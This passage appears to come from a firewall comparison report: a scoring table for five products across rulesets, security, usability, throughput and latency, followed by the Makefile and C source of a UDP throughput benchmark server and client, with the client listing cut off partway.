$r_{features_{10}}$	✓	✓	✓	✓	✓
Rulesets ($p_{ruleset}$)	63.3%	60.9%	34.2%	33.1%	60.3%
General Aspects ($p_{ruleset_1}$)	91.6%	70.8%	75.0%	75.0%	83.3%
$r_{ruleset_{1_1}}$	✓	✓	✓	✓	✓
$r_{ruleset_{1_2}}$	✓	✓	✗	✓	✓
$r_{ruleset_{1_3}}$	✓	✓	✓	✓	✓
$r_{ruleset_{1_4}}$	✓	✓	✓	○	✓
$r_{ruleset_{1_5}}$	✓	✗	✗	✗	✗
$r_{ruleset_{1_6}}$	✓	✓	✓	✓	✓
$r_{ruleset_{1_7}}$	✓	✓	✓	✓	✓
$r_{ruleset_{1_8}}$	✓	✗	✓	✓	✓
$r_{ruleset_{1_9}}$	✗	✗	✓	✗	✗
$r_{ruleset_{1_{10}}}$	✓	○	✗	○	✓
$r_{ruleset_{1_{11}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{1_{12}}}$	✓	✓	✓	✓	✓
Subnet Layer ($p_{ruleset_2}$)	25.0%	43.5%	12.5%	12.5%	25.0%
$r_{ruleset_{2_1}}$	✓	✓	✓	✓	✓
$r_{ruleset_{2_2}}$	✓	✓	✗	✗	✓

$r_{ruleset_{2_3}}$	✗	?	✗	✗	✗
$r_{ruleset_{2_4}}$	✗	✗	✗	✗	✗
$r_{ruleset_{2_5}}$	✗	✗	✗	✗	✗
$r_{ruleset_{2_6}}$	✗	✓	✗	✗	✗
$r_{ruleset_{2_7}}$	✗	✗	✗	✗	✗
$r_{ruleset_{2_8}}$	✗	✗	✗	✗	✗
Internet Layer ($p_{ruleset_3}$)	74.5%	69.8%	35.8%	32.1%	71.6%
$r_{ruleset_{3_1}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_2}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_3}}$	✓	✓	✗	✗	✓
$r_{ruleset_{3_4}}$	✓	✓	✗	✗	✓
$r_{ruleset_{3_5}}$	✗	✗	✗	✗	✗
$r_{ruleset_{3_6}}$	✓	✓	✗	✗	✓
$r_{ruleset_{3_7}}$	✗	✗	✗	✗	✗
$r_{ruleset_{3_8}}$	✓	✓	✗	✗	✓
$r_{ruleset_{3_9}}$	✗	✓	✗	✗	✗
$r_{ruleset_{3_{10}}}$	✓	✗	✗	✗	✗
$r_{ruleset_{3_{11}}}$	✓	✗	✗	✗	✗
$r_{ruleset_{3_{12}}}$	✗	✗	✗	✗	✗
$r_{ruleset_{3_{13}}}$	✗	✗	✗	✗	✗
$r_{ruleset_{3_{14}}}$	✓	✓	✗	✗	✓
$r_{ruleset_{3_{15}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{16}}}$	✗	✗	✗	✗	✗
$r_{ruleset_{3_{17}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{18}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{19}}}$	?	✓	✓	✗	✓
$r_{ruleset_{3_{20}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{21}}}$	✓	✗	✓	✗	✓
$r_{ruleset_{3_{22}}}$	✗	✗	✗	✗	✗
$r_{ruleset_{3_{23}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{24}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{25}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{26}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{27}}}$	✓	✓	✓	✓	✓
$r_{ruleset_{3_{28}}}$	✓	✓	✓	✓	✓

$r_{ruleset_{329}}$					
$r_{ruleset_{330}}$					
$r_{ruleset_{331}}$					
$r_{ruleset_{332}}$					
$r_{ruleset_{333}}$					
$r_{ruleset_{334}}$					
$r_{ruleset_{335}}$					
$r_{ruleset_{336}}$					
$r_{ruleset_{337}}$					
$r_{ruleset_{338}}$					
$r_{ruleset_{339}}$					
$r_{ruleset_{340}}$					
$r_{ruleset_{341}}$					
$r_{ruleset_{342}}$					
$r_{ruleset_{343}}$					
$r_{ruleset_{344}}$					
$r_{ruleset_{345}}$					
$r_{ruleset_{346}}$					
$r_{ruleset_{347}}$					
$r_{ruleset_{348}}$					
$r_{ruleset_{349}}$					
$r_{ruleset_{350}}$					
$r_{ruleset_{351}}$					
$r_{ruleset_{352}}$					
$r_{ruleset_{353}}$					
Transport Layer ($p_{ruleset_4}$)	47.6%	52.4%	9.5%	9.5%	47.6%
$r_{ruleset_{4_1}}$					
$r_{ruleset_{4_2}}$					
$r_{ruleset_{4_3}}$					
$r_{ruleset_{4_4}}$					
$r_{ruleset_{4_5}}$					
$r_{ruleset_{4_6}}$					
$r_{ruleset_{4_7}}$					
$r_{ruleset_{4_8}}$					
$r_{ruleset_{4_9}}$					

$r_{ruleset_{4_{10}}}$					
$r_{ruleset_{4_{11}}}$					
$r_{ruleset_{4_{12}}}$					
$r_{ruleset_{4_{13}}}$					
$r_{ruleset_{4_{14}}}$					
$r_{ruleset_{4_{15}}}$					
$r_{ruleset_{4_{16}}}$					
$r_{ruleset_{4_{17}}}$					
$r_{ruleset_{4_{18}}}$					
$r_{ruleset_{4_{19}}}$					
$r_{ruleset_{4_{20}}}$					
$r_{ruleset_{4_{21}}}$					
Security ($p_{security}$)	68.4%	69.8%	65.6%	58.6%	66.8%
Access to the firewall ($p_{security_1}$)	75.0%	87.5%	75.0%	75.0%	75.0%
$r_{security_{1_1}}$					
$r_{security_{1_2}}$					
$r_{security_{1_3}}$					
$r_{security_{1_4}}$					
Hardening the OS ($p_{security_2}$)	100.0%	100.0%	0.0%	50.0%	100.0%
$r_{security_2}$					
Selftest ($p_{security_3}$)	50.0%	50.0%	0.0%	25.0%	50.0%
$r_{security_{3_1}}$					
$r_{security_{3_2}}$					
Guessing and fingerprinting ($p_{security_4}$)	75.0%	50.0%	50.0%	12.5%	25.0%
$r_{security_{4_1}}$					
$r_{security_{4_2}}$					
$r_{security_{4_3}}$					
$r_{security_{4_4}}$					
Logging and notification ($p_{security_5}$)	60.0%	65.0%	90.0%	50.0%	85.0%
$r_{security_{5_1}}$					
$r_{security_{5_2}}$					
$r_{security_{5_3}}$					
$r_{security_{5_4}}$					
$r_{security_{5_5}}$					
$r_{security_{5_6}}$					

$r_{security_{5_7}}$					
$r_{security_{5_8}}$					
$r_{security_{5_9}}$					
$r_{security_{5_{10}}}$					
Default behaviour on start-up ($p_{security_6}$)	25.0%	25.0%	100.0%	100.0%	25.0%
$r_{security_{6_1}}$					
$r_{security_{6_2}}$					
Fending known attacks ($p_{security_7}$)	82.0%	84.0%	88.0%	74.0%	74.0%
$r_{security_{7_1}}$					
$r_{security_{7_2}}$					
$r_{security_{7_3}}$					
$r_{security_{7_4}}$					
$r_{security_{7_5}}$					
$r_{security_{7_6}}$					
$r_{security_{7_7}}$					
$r_{security_{7_8}}$					
$r_{security_{7_9}}$					
$r_{security_{7_{10}}}$					
$r_{security_{7_{11}}}$					
$r_{security_{7_{12}}}$					
$r_{security_{7_{13}}}$					
$r_{security_{7_{14}}}$					
$r_{security_{7_{15}}}$					
$r_{security_{7_{16}}}$					
$r_{security_{7_{17}}}$					
$r_{security_{7_{18}}}$					
$r_{security_{7_{19}}}$					
$r_{security_{7_{20}}}$					
$r_{security_{7_{21}}}$					
$r_{security_{7_{22}}}$					
$r_{security_{7_{23}}}$					
$r_{security_{7_{24}}}$					
$r_{security_{7_{25}}}$					
Usability and documentation ($p_{usability}$)	56.3%	65.6%	71.9%	68.8%	81.3%
$r_{usability_1}$					

$r_{usability_2}$					
$r_{usability_3}$					
$r_{usability_4}$					
$r_{usability_5}$					
$r_{usability_6}$					
$r_{usability_7}$					
$r_{usability_8}$					
$r_{usability_9}$					
$r_{usability_{10}}$					
$r_{usability_{11}}$					
$r_{usability_{12}}$					
$r_{usability_{13}}$					
$r_{usability_{14}}$					
$r_{usability_{15}}$					
$r_{usability_{16}}$					
Performance ($p_{performance}$)	41.9%	50.5%	37.9%	52.7%	44.9%
Throughput ($p_{throughput}$)	31.4%	34.9%	28.7%	39.6%	24.9%
$p_{throughput_1}$	12.8%	15.7%	14.1%	19.6%	0.0%
$r_{throughput_{1_1}}$	0.00	118.23	47.55	42.61	5.47
$r_{throughput_{1_2}}$	98.90	145.83	77.92	77.92	8.78
$r_{throughput_{1_3}}$	125.31	175.44	102.51	115.61	13.56
$r_{throughput_{1_4}}$	135.55	178.47	117.56	143.01	17.38
$r_{throughput_{1_5}}$	154.91	184.23	129.92	170.18	17.68
$r_{throughput_{1_6}}$	158.97	196.87	140.23	196.21	20.35
$r_{throughput_{1_7}}$	169.98	195.53	146.92	221.42	23.73
$r_{throughput_{1_8}}$	171.47	204.58	152.85	242.86	27.12
$r_{throughput_{1_9}}$	172.61	202.47	159.51	260.57	26.98
$r_{throughput_{1_{10}}}$	180.12	209.45	161.64	285.07	27.26
$r_{throughput_{1_{11}}}$	180.34	207.38	168.63	292.18	27.21
$r_{throughput_{1_{12}}}$	186.48	205.55	169.28	305.24	28.37
$r_{throughput_{1_{13}}}$	186.17	210.74	173.14	328.51	27.05
$r_{throughput_{1_{14}}}$	191.33	208.75	165.90	332.78	26.56
$r_{throughput_{1_{15}}}$	190.77	214.18	168.46	18.94	25.92
$r_{throughput_{1_{16}}}$	122.05	84.95	152.51	270.33	24.53
$r_{throughput_{1_{17}}}$	42.49	38.53	159.44	136.22	23.06
$r_{throughput_{1_{18}}}$	6.75	3.25	160.10	5.04	16.23
$r_{throughput_{1_{19}}}$	0.25	0.00	162.32	4.94	2.77
$r_{throughput_{1_{20}}}$	-	0.00	-	3.68	0.00
$r_{throughput_{1_{21}}}$	-	0.00	-	321.22	0.00
$p_{throughput_2}$	100.0%	99.6%	100.0%	101.3%	99.4%

$r_{throughput_2}$	190.77	213.28	168.44	309.34	25.76
$p_{throughput_3}$	60.0%	62.0%	62.5%	100.8%	99.9%
$r_{throughput_{3_1}}$	190.77	213.28	168.46	308.07	25.93
$r_{throughput_{3_2}}$	190.76	213.28	168.46	310.18	25.98
$r_{throughput_{3_3}}$	190.76	213.28	168.47	308.74	25.92
$r_{throughput_{3_4}}$	190.91	213.28	168.43	310.68	25.91
$r_{throughput_{3_5}}$	191.01	213.29	168.43	307.22	25.89
$r_{throughput_{3_6}}$	191.02	213.29	168.39	312.67	25.01
$r_{throughput_{3_7}}$	191.02	213.29	168.38	309.82	25.96
$r_{throughput_{3_8}}$	184.60	213.31	168.44	310.56	25.90
$r_{throughput_{3_9}}$	150.67	213.30	168.47	310.52	26.01
$r_{throughput_{3_{10}}}$	117.75	154.32	167.80	307.48	26.04
$r_{throughput_{3_{11}}}$	16.68	11.03	-	310.79	25.97
$r_{throughput_{3_{12}}}$	8.79	9.12	-	302.47	25.96
$r_{throughput_{3_{13}}}$	6.30	10.03	-	301.57	25.92
$r_{throughput_{3_{14}}}$	4.96	7.94	-	300.04	25.98
$r_{throughput_{3_{15}}}$	4.11	5.84	-	308.88	25.98
$r_{throughput_{3_{16}}}$	3.53	5.85	-	302.72	25.92
$p_{throughput_4}$	100.0%	99.9%	100.0%	99.8%	99.4%
$r_{throughput_4}$	190.76	214.03	168.41	304.51	25.76
$p_{throughput_5}$	100.0%	100.0%	100.0%	95.7%	99.8%
$r_{throughput_{5_1}}$	190.75	214.18	168.05	303.71	26.00
$r_{throughput_{5_2}}$	190.74	214.18	168.36	313.11	25.99
$r_{throughput_{5_3}}$	190.71	214.03	168.45	312.46	25.92
$r_{throughput_{5_4}}$	190.73	214.36	168.49	306.48	26.03
$r_{throughput_{5_5}}$	190.75	214.06	168.36	281.09	25.99
$r_{throughput_{5_6}}$	190.71	214.06	168.49	277.90	25.95
$r_{throughput_{5_7}}$	190.73	213.89	168.43	271.51	25.98
$r_{throughput_{5_8}}$	190.72	214.26	168.43	271.53	26.00
$p_{throughput_6}$	75.2%	100.0%	0.0%	100.2%	99.4%
$r_{throughput_{6_1}}$	190.78	214.12	-	303.24	26.16
$r_{throughput_{6_2}}$	190.76	214.12	-	305.46	25.87
$r_{throughput_{6_3}}$	190.72	214.10	-	304.44	26.17
$r_{throughput_{6_4}}$	190.56	214.11	-	308.26	26.16
$r_{throughput_{6_5}}$	189.99	214.11	-	303.57	26.12
$r_{throughput_{6_6}}$	189.50	214.11	-	307.37	26.08
$r_{throughput_{6_7}}$	-	214.12	-	309.55	26.14
$r_{throughput_{6_8}}$	-	214.12	-	306.71	26.00
Latency ($p_{latency}$)	57.9%	72.5%	52.3%	62.0%	61.0%
$p_{latency_1}$	33.1%	46.9%	35.5%	30.4%	23.0%
$r_{latency_1}$	53.32	37.61	49.71	58.03	76.51
$p_{latency_2}$	95.8%	95.8%	103.3%	94.7%	96.7%
$r_{latency_2}$	55.63	39.24	48.13	61.30	79.09

$p_{latency_3}$	54.1%	59.9%	42.6%	50.2%	49.4%
$r_{latency_{3_1}}$	71.56	42.24	78.48	62.42	78.68
$r_{latency_{3_2}}$	90.96	52.22	87.11	74.39	88.15
$r_{latency_{3_3}}$	100.69	62.53	97.78	85.57	97.23
$r_{latency_{3_4}}$	78.92	72.69	100.26	94.66	106.13
$r_{latency_{3_5}}$	87.36	81.49	108.52	104.29	113.59
$r_{latency_{3_6}}$	115.92	91.74	127.80	112.92	124.05
$r_{latency_{3_7}}$	147.17	101.52	140.28	121.24	134.41
$r_{latency_{3_8}}$	84.22	112.26	144.99	131.78	145.09
$r_{latency_{3_9}}$	94.86	122.35	159.90	143.67	157.89
$r_{latency_{3_{10}}}$	153.69	132.53	170.88	150.06	164.77
$r_{latency_{3_{11}}}$	163.91	141.54	168.02	159.01	173.16
$r_{latency_{3_{12}}}$	174.03	152.15	190.96	167.33	179.85
$r_{latency_{3_{13}}}$	185.08	161.98	201.33	178.54	184.99
$r_{latency_{3_{14}}}$	194.13	172.57	213.46	186.64	193.85
$r_{latency_{3_{15}}}$	192.52	183.74	217.67	212.29	203.18
$r_{latency_{3_{16}}}$	190.74	228.83	265.62	223.36	214.38
$r_{latency_{3_{17}}}$	299.65	295.00	418.96	303.14	285.76
$r_{latency_{3_{18}}}$	454.59	419.41	674.45	481.02	438.44
$r_{latency_{3_{19}}}$	740.56	712.22	1177.17	826.75	727.45
$r_{latency_{3_{20}}}$	1312.25	1220.65	2213.70	1549.69	1274.77
$r_{latency_{3_{21}}}$	2466.69	2362.10	4103.78	3127.04	2465.75
$p_{latency_4}$	20.0%	41.2%	63.1%	98.8%	98.7%
$r_{latency_{4_1}}$	90.37	40.77	47.65	58.98	77.97
$r_{latency_{4_2}}$	96.77	43.11	52.52	58.20	77.88
$r_{latency_{4_3}}$	108.29	46.92	49.33	58.78	77.69
$r_{latency_{4_4}}$	148.43	53.42	49.32	58.77	77.22
$r_{latency_{4_5}}$	187.84	59.80	47.93	58.35	77.84
$r_{latency_{4_6}}$	240.41	65.08	48.39	58.53	77.03
$r_{latency_{4_7}}$	291.60	70.47	50.56	58.98	77.55
$r_{latency_{4_8}}$	349.98	73.47	49.55	57.99	77.97
$r_{latency_{4_9}}$	429.14	79.00	47.77	58.70	77.55
$r_{latency_{4_{10}}}$	481.81	121.26	49.64	58.06	77.38
$r_{latency_{4_{11}}}$	1249.34	502.80	-	58.46	77.91
$r_{latency_{4_{12}}}$	1925.07	727.37	-	59.72	76.57
$r_{latency_{4_{13}}}$	2590.46	957.17	-	59.62	77.23
$r_{latency_{4_{14}}}$	3216.94	1182.81	-	58.95	76.81
$r_{latency_{4_{15}}}$	3823.23	1412.50	-	58.67	77.85
$r_{latency_{4_{16}}}$	4459.62	1638.63	-	58.66	77.46
$p_{latency_5}$	89.0%	95.6%	102.9%	100.2%	99.3%
$r_{latency_5}$	59.91	39.36	48.29	57.89	77.02
$p_{latency_6}$	92.5%	88.9%	104.4%	84.4%	98.2%
$r_{latency_{6_1}}$	57.69	39.54	46.55	58.84	78.06

$r_{latency_{6_2}}$	57.62	45.48	48.73	82.59	77.70
$p_{latency_7}$	64.6%	95.6%	0.0%	100.0%	98.5%
$r_{latency_{7_1}}$	63.07	39.60	-	58.26	77.52
$r_{latency_{7_2}}$	65.21	39.50	-	58.14	77.42
$r_{latency_{7_3}}$	59.96	39.30	-	58.10	77.44
$r_{latency_{7_4}}$	58.96	39.40	-	58.10	77.62
$r_{latency_{7_5}}$	67.12	39.30	-	57.36	78.36
$r_{latency_{7_6}}$	58.29	39.40	-	58.50	77.36
$r_{latency_{7_7}}$	-	39.40	-	57.74	78.07
$r_{latency_{7_8}}$	-	38.90	-	58.23	77.83
$p_{latency_8}$	63.3%	107.0%	0.0%	0.0%	0.1%
$r_{latency_8}$	84.25	35.14	-	-	110941.72
Number of connections ($p_{connections}$)	2.9%	9.4%	0.3%	100.0%	100.0%
$p_{connections_1}$	2.9%	9.4%	0.3%	100.0%	100.0%
$r_{connections_1}$	10000	32760	1120	350000	350000
$p_{connections_2}$	2.9%	9.4%	0.3%	100.0%	100.0%
$r_{connections_2}$	10000	32760	1120	350000	350000
Entire Rating ($p_{firewall}$)	60.8%	62.8%	59.1%	59.7%	59.7%

Table 216: General Comparison

A.8 Source code of performance evaluation tools

A.8.1 Makefile for throughput_test

```
all: client server overseer

client: throughput_test_client.c
        gcc throughput_test_client.c -O3 -o throughput_test_client

server: throughput_test_server.c
        gcc throughput_test_server.c -O3 -o throughput_test_server

overseer: throughput_test_overseer.c
        gcc throughput_test_overseer.c -O3 -o throughput_test_overseer

clean:
        rm -f throughput_test_client throughput_test_server
        rm -f throughput_test_overseer
```

A.8.2 Source code of the server of throughput_test

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
```

```
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>

static int debug=1;

long t1,t2,tm1,tm2;
double teff1,teff2;
struct timeval tv;
long long packets_arrived=0;

int service_port=5000;

struct conf {
   int packet_size;
   char server_name[256];
   int server_port;
   int overseer_port;
   int identifier;
   int interval;
}configuration={1500,"",5001,5000,0,0};

struct result_from {
    int identifier;
    float throughput;
}result_from_computer={0,0};

static int alarm_set=0;

void stop_time(int test) {
    printf("Stop!\n");
    alarm_set=1;
}

void argument_check(int argc,char *argv[]) {
    if (argc<2) {
        fprintf(stderr,"Error: to few arguments!\n");
        fprintf(stderr,"Usage: ./throughput_test_server <listen port>\n");
        exit(1);
    }
    if (!sscanf(argv[1],"%d",&service_port)) {
        fprintf(stderr,"Error: port must be a number.\n");
        exit(1);
    }
    if ((service_port<1024)||(service_port>65536)) {
        fprintf(stderr,"Error: port must be between 1024 and 65536.\n");
        exit(1);
    }
}
int generate_udp_server_socket(int port) {
    struct sockaddr_in sa;
    int s;
```

```
    memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET;
    sa.sin_addr.s_addr=INADDR_ANY;
    sa.sin_port=htons(port);

    s=socket(AF_INET,SOCK_DGRAM,0);
    if (s==-1) {
        fprintf(stderr,"Error creating socket.\n");
        exit(1);
    }
    if (bind(s,(struct sockaddr*)&sa,sizeof(sa))==-1) {
        fprintf(stderr,"Error at binding server on port %d.\n",port);
        exit(1);
    }
    return s;
}

int generate_tcp_socket() {
    int s;
    s=socket(AF_INET,SOCK_STREAM,0);
    return s;
}

int generate_tcp_server_socket(int port) {
    struct sockaddr_in sa;
    int s;

    memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET;
    sa.sin_addr.s_addr=INADDR_ANY;
    sa.sin_port=htons(port);

    s=socket(AF_INET,SOCK_STREAM,0);
    if (s==-1) {
        fprintf(stderr,"Error creating socket.\n");
        exit(1);
    }
    if (bind(s,(struct sockaddr*)&sa,sizeof(sa))==-1) {
        fprintf(stderr,"Error at binding server on port %d.\n",port);
        exit(1);
    }
    if (listen(s,10)==-1) {
        fprintf(stderr,"Error at listen()!\n");
        exit(1);
    }
    return s;
}

float receiving_data(struct conf configuration,int s) {
    struct sockaddr_in clientsa;
    int clientsa_size=sizeof(clientsa);
    int l,payload=0;
    char* packet;
```

```
    float throughput,time_used;
    long long data_arrived;

    if (debug==1) printf("Switching in receiving mode. Waiting for
    connection of sending process on client side.\n");

    //signal handling
    signal(SIGALRM,stop_time);
    siginterrupt(SIGALRM,1);

    payload=configuration.packet_size-42;
    packet=(char*)malloc(sizeof(char)*payload);

    if (debug==1) printf("Server starting to receive %d large packets.
    \n",configuration.packet_size);
    //before work
    alarm_set=0;
    alarm(10);
    for (;;) {
        if ((l=recvfrom(s,packet,sizeof(char)*payload,0,
        (struct sockaddr*)&clientsa,&clientsa_size))==-1) {
                fprintf(stderr,"Server: error reading packet!
        Retrying\n");
        }
        if (alarm_set==1) {
            break;
            alarm(0);
        }
    }
    packets_arrived=0;
    data_arrived=0;
    //real measurement
    gettimeofday(&tv,NULL);
    t1=tv.tv_sec;
    tm1=tv.tv_usec;
    alarm_set=0;
    alarm(configuration.interval);
    for (;;) {
        if ((l=recvfrom(s,packet,sizeof(char)*payload,0,
        (struct sockaddr*)&clientsa,&clientsa_size))==-1) {
                fprintf(stderr,"Server: error reading packet!
        Retrying\n");
        }
        if (alarm_set==1) {
            break;
            alarm(0);
        }
        data_arrived=data_arrived+(l+42);
        packets_arrived++;
    }
    gettimeofday(&tv,NULL);
    t2=tv.tv_sec;
    tm2=tv.tv_usec;
```

```
    teff1=t1*1e6 + tm1;
    teff2=t2*1e6 + tm2;
    time_used=(teff2-teff1)/1e6;

    //after work
    alarm_set=0;
    alarm(10);
    for (;;) {
        if ((l=recvfrom(s,packet,sizeof(char)*payload,0,
        (struct sockaddr*)&clientsa,&clientsa_size))==-1) {
                fprintf(stderr,"Server: error reading packet!
        Retrying\n");
        }
        if (alarm_set==1) {
            alarm(0);
            break;
        }
    }

    //throughput=packets_arrived*configuration.packet_size/time_used;
    throughput=data_arrived/time_used;
    printf("-------------------------------------------------------\n");
    printf("| Direction: server -> client\n");
    printf("| %lld bytes of data were received in %lld packets in %f
    seconds.\n",packets_arrived*configuration.packet_size,packets_arrived,
    time_used);
    printf("| Throughput: %f Byte/s \n",throughput);
    printf("|             %f kByte/s \n",throughput/1024);
    printf("|             %f MByte/s \n",throughput/1048576);
    printf("|             %f MBit/s \n",throughput*8/1048576);
    printf("-------------------------------------------------------\n");
    return throughput;
}

int get_configuration(int s,struct conf* configuration) {
    int l=0;
    //get test configuration
    for (;;) {
        if ((l=read(s,configuration,sizeof(struct conf)))==-1) {
            fprintf(stderr,"Error reading configuration\n");
            exit(1);
        }
        else {
            if (l!=sizeof(struct conf)) {
                fprintf(stderr,"Error: waiting for configuration
        (packet with size %d) but received packet with
        size %d.\n",sizeof(configuration),l);
            }
            else break;
        }
    }
    return 0;
}
```

```
int main(int argc, char *argv[]) {
    int s1,s2;
    int service_socket;
    struct sockaddr_in clientsa;
    int clientsa_size=sizeof(clientsa);
    int overseer_socket;
    float throughput;

    argument_check(argc,argv);

    s1=generate_tcp_server_socket(service_port); //management socket
    s2=generate_udp_server_socket(service_port+1); //receiving socket

    //server loop
    for(;;) {
        //get configuration
        printf("Server ready: waiting for new jobs!\n");
        overseer_socket=accept(s1,(struct sockaddr*)&clientsa,
        &clientsa_size);
        if (overseer_socket==-1) {
            fprintf(stderr,"Error: at accept()!\n");
            exit(1);
        }
        else fprintf(stdout,"Overseer %s has connected to the server!\n",
        inet_ntoa(clientsa.sin_addr));
        get_configuration(overseer_socket,(struct conf*)&configuration);
        result_from_computer.identifier=configuration.identifier;
        close(overseer_socket);
        if (debug==1) {
            printf("packet_size=%d\n",configuration.packet_size);
            printf("server_name=%s\n",configuration.server_name);
            printf("server_port=%d\n",configuration.server_port);
            printf("overseer_port=%d\n",configuration.overseer_port);
            printf("identifier=%d\n",configuration.identifier);
            printf("interval=%d\n",configuration.interval);
        }
        //working loop
        //generate the receiving process
        throughput=receiving_data(configuration,s2);
        //connect to overseer server
        if (debug==1) printf("Server is trying to connect to the o
        verseer server.\n");
        overseer_socket=generate_tcp_socket();
        clientsa.sin_port=htons(configuration.overseer_port);
        if (connect(overseer_socket,(struct sockaddr*)&clientsa,
        clientsa_size)==-1) {
            fprintf(stderr,"Error connecting to overseer server.\n");
            continue;
        }
        if (debug==1) printf("Servers connection to the overseer
        server stands.\n");
        //send it to the overseer
```

```
        if (debug==1) printf("Server sending throughput to the overseer
        server.\n");
        result_from_computer.throughput=throughput;
        if (write(overseer_socket,&result_from_computer,
        sizeof(struct result_from))==-1) {
            fprintf(stderr,"Error: in sending throughput to overseer!\n");
            exit(1);
        }
        if (close(overseer_socket)==-1) fprintf(stderr,"Error closing
        overseer_socket.\n");
    }   //end server loop
    if (close(s1)==-1) {
        fprintf(stderr,"Error: in close()\n");
        exit(1);
    }
    if (close(s2)==-1) {
        fprintf(stderr,"Error: in close()\n");
        exit(1);
    }
    if (close(service_socket)==-1) {
        fprintf(stderr,"Error: in close()\n");
        exit(1);
    }
    exit(0);
}
```

A.8.3 Source code of the client of throughput_test

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <signal.h>

static int alarm_set=0;
const int debug=1;

long t1,t2,tm1,tm2;
double teff1,teff2;
struct timeval tv;

int service_port=5000;

struct conf {
    int packet_size;
    char server_name[256];
    int server_port;
    int overseer_port;
```

```
    int identifier;
    int interval;
}configuration={1400,"127.0.0.1",5001,5000,0,0};

struct result_from {
    int identifier;
    float throughput;
}result_from_computer={0,0};

void stop_time(int test) {
    printf("Stop!\n");
    alarm_set=1;
}

void argument_check(int argc,char* argv[]){
    if (argc!=2) {
        fprintf(stderr,"Error: to few arguments!\n");
        fprintf(stdout,"Usage: %s <port listening on>\n",argv[0]);
        exit(1);
    }
    if (!sscanf(argv[1],"%d",&service_port)) {
        fprintf(stderr,"Error: port must be a number.\n");
        exit(1);
    }
    if ((service_port<1024)||(service_port>65536)) {
        fprintf(stderr,"Error: port must be between 1024 and 65536.\n");
        exit(1);
    }
}

void sending_data(struct conf configuration) {
    int s=0;
    struct sockaddr_in sa;
    struct hostent *hp;
    char* packet;
    int payload=0;
    long long i;

    if (debug==1) printf("Client switching to sending mode.\n");

    //signal handling
    signal(SIGALRM,stop_time);
    siginterrupt(SIGALRM,1);

    //substract the size of the header
    payload=configuration.packet_size-42;
    packet=(char*)malloc(sizeof(char)*payload);

    bzero(&sa,sizeof(sa));
    hp=(struct hostent*)gethostbyname(configuration.server_name);
    if (hp==NULL) {
        if (inet_aton(configuration.server_name,&sa.sin_addr)==0) {
            fprintf(stderr,"Error at inet_aton().\n");exit(1);
```

```
        }
        hp=(struct hostent*)gethostbyaddr(configuration.server_name,
        sizeof(configuration.server_name),AF_INET);
        if (hp==NULL) {
            fprintf(stderr,"Error: unknown IP or unknown host.\n");
            exit(1);
        }
    }
    else {
        //host found
        memcpy(&sa.sin_addr,hp->h_addr,hp->h_length);
    }
    sa.sin_family=AF_INET;
    sa.sin_port=htons(configuration.server_port);

    s=generate_udp_socket();

    for (i=0;i<payload;i++) {
        packet[i]='a';
    }
    if (debug==1) printf("Client starts sending data.\n");
    alarm_set=0;
    alarm(10+configuration.interval+10);
    for (;;) {
        if (sendto(s,packet,sizeof(char)*payload,0,(struct sockaddr*)&sa,
        sizeof(sa))==-1) {
            //if packet could not be send, send it again
            continue;
        }
        if (alarm_set==1) {
                break;
                alarm(0);
        }
    }
    alarm_set=0;
    if (debug==1) printf("Client stops sending data.\n");
    if (close(s)==-1) {
        fprintf(stderr,"Error in close().\n");
    }
}

int generate_udp_socket() {
    int s;
    s=socket(AF_INET,SOCK_DGRAM,0);
    return s;
}

int generate_tcp_server_socket(int port) {
    struct sockaddr_in sa;
    int s;

    memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET;
```

```
    sa.sin_addr.s_addr=INADDR_ANY;
    sa.sin_port=htons(port);

    s=socket(AF_INET,SOCK_STREAM,0);
    if (s==-1) {
        fprintf(stderr,"Error creating socket.\n");
        exit(1);
    }
    if (bind(s,(struct sockaddr*)&sa,sizeof(sa))==-1) {
        fprintf(stderr,"Error at binding server on port %d.\n",port);
        exit(1);
    }
    if (listen(s,10)== -1) {
        fprintf(stderr,"Error at listen().\n");
        exit(1);
    }
    return s;
}

int get_configuration(int s,struct conf* configuration) {
    int l=0;
    //get test configuration
    for (;;) {
        if ((l=read(s,configuration,sizeof(struct conf)))==-1) {
            fprintf(stderr,"Error reading configuration\n");
            exit(1);
        }
        else {
            if (l!=sizeof(struct conf)) {
                fprintf(stderr,"Error: waiting for configuration
        (packet with size %d) but received packet with size
        %d.\n",sizeof(configuration),l);
            }
            else break;
        }
    }
    return 0;
}


int main(int argc,char* argv[]) {
    int overseer_socket,s1=0;
    struct sockaddr_in clientsa; //address structure for remote address
    int clientsa_size=sizeof(clientsa);
    argument_check(argc,argv);

    s1=generate_tcp_server_socket(service_port);

    //server loop on client
    for (;;) {
        if (debug==1) printf("Client ready: waiting for new jobs.\n");

        overseer_socket=accept(s1,(struct sockaddr*)&clientsa,
```

```
        &clientsa_size);
        if (overseer_socket==-1) {
            fprintf(stderr,"Error: at accept()!\n");
            exit(1);
        }
        else fprintf(stdout,"Overseer %s has connected to the server!
        \n",inet_ntoa(clientsa.sin_addr));
        get_configuration(overseer_socket,(struct conf*)&configuration);
        result_from_computer.identifier=configuration.identifier;

        close(overseer_socket);
        if (debug==1) {
            printf("packet_size=%d\n",configuration.packet_size);
            printf("server_name=%s\n",configuration.server_name);
            printf("server_port=%d\n",configuration.server_port);
            printf("overseer_port=%d\n",configuration.overseer_port);
            printf("identifier=%d\n",configuration.identifier);
            printf("interval=%d\n",configuration.interval);
        }

        //recv configuration from overseer

        printf("-------------------------------------------------------\n");
        printf("| Performing test with %d byte large packets.\n",
        configuration.packet_size);
